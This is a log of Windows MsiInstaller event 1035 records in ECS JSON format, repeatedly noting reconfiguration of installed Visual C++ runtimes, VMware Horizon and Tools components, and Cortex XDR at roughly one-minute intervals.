{"@timestamp":1657394351263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170209}}
{"@timestamp":1657394351308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170210}}
{"@timestamp":1657394351336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170211}}
{"@timestamp":1657394351377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170212}}
{"@timestamp":1657394351407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170213}}
{"@timestamp":1657394411239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170214}}
{"@timestamp":1657394411265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170215}}
{"@timestamp":1657394411315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170216}}
{"@timestamp":1657394411354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170217}}
{"@timestamp":1657394411381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170218}}
{"@timestamp":1657394411413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170219}}
{"@timestamp":1657394411439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170220}}
{"@timestamp":1657394411465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170221}}
{"@timestamp":1657394411501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170222}}
{"@timestamp":1657394411528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170223}}
{"@timestamp":1657394470938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170224}}
{"@timestamp":1657394470964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170225}}
{"@timestamp":1657394471015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170226}}
{"@timestamp":1657394471055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170227}}
{"@timestamp":1657394471083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170228}}
{"@timestamp":1657394471113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170229}}
{"@timestamp":1657394471142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170230}}
{"@timestamp":1657394471171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170231}}
{"@timestamp":1657394471209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170232}}
{"@timestamp":1657394471238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170233}}
{"@timestamp":1657394530914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170234}}
{"@timestamp":1657394530942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170235}}
{"@timestamp":1657394530993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170236}}
{"@timestamp":1657394531034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170237}}
{"@timestamp":1657394531063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170238}}
{"@timestamp":1657394531093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170239}}
{"@timestamp":1657394531119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170240}}
{"@timestamp":1657394531145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170241}}
{"@timestamp":1657394531182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170242}}
{"@timestamp":1657394531210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170243}}
{"@timestamp":1657394591053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170244}}
{"@timestamp":1657394591079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170245}}
{"@timestamp":1657394591128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170246}}
{"@timestamp":1657394591171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170247}}
{"@timestamp":1657394591199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170248}}
{"@timestamp":1657394591229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170249}}
{"@timestamp":1657394591255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170250}}
{"@timestamp":1657394591280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170251}}
{"@timestamp":1657394591316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170252}}
{"@timestamp":1657394591342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170253}}
{"@timestamp":1657394650857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170254}}
{"@timestamp":1657394650886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170255}}
{"@timestamp":1657394650937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170256}}
{"@timestamp":1657394650978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170257}}
{"@timestamp":1657394651007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170258}}
{"@timestamp":1657394651038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170259}}
{"@timestamp":1657394651066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170260}}
{"@timestamp":1657394651093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170261}}
{"@timestamp":1657394651129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170262}}
{"@timestamp":1657394651156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170263}}
{"@timestamp":1657394711017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170264}}
{"@timestamp":1657394711044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170265}}
{"@timestamp":1657394711094,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170266}}
{"@timestamp":1657394711133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170267}}
{"@timestamp":1657394711161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170268}}
{"@timestamp":1657394711192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170269}}
{"@timestamp":1657394711220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170270}}
{"@timestamp":1657394711247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170271}}
{"@timestamp":1657394711283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170272}}
{"@timestamp":1657394711311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170273}}
{"@timestamp":1657394770983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170274}}
